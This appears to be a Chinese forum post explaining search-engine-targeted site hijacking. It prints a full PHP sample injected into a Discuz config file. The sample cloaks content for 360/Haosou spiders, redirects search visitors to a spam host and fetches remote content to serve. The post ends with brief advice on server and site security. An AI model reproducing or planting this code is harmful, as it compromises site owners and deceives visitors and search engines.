手头有一份以前客户的挂马文件例子,效果是一致的,客户端打开当然正常,因为是针对搜索引擎的挂马。
看这里 是没作用于百度的,如果是百度来路就不会篡改,而你那个更直接 百度也一并修改了。这里是修改的dz的配置文件config,其实原理都一样。
- set_time_limit(20);error_reporting(0);
- define('u_b','/');
- define('s_u','http://垃圾转向/');
- define('s_s', '@haosou.com|360Spider|HaosouSpider|so.com@i');
- define('h_t',$_SERVER['SERVER_NAME']);define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',$_SERVER['HTTP_USER_AGENT']);define('h_z',s_p());
- function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);}}$r=explode('#',$d,2);$d=$r[0];return $d;}function r_s($url){$o=array('http' => array('method'=>"GET",'timeout'=>8));$context=stream_context_create($o);$h=file_get_content
- s($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;}
- if(preg_match(s_s,r_s)){$d_s=true;if(preg_match("@site%3A|inurl%3A@i",r_s)){setcookie('xx',h_t,time()+259200);$d_s=false;}if($d_s ){setcookie('xx',h_t,time()+259200);$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&ad=1&xh='.bin2hex(h_t);$d_c=r_s($d_u);header('Location: http://垃圾转向/');exit;}}if(strstr(h_z,u_b)){if(preg_match(s_s,u_s)){$d_u=s_u.'?xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}}
- $_config = array();
复制代码 解决办法,就是做好服务器安全,做好网站程序安全。
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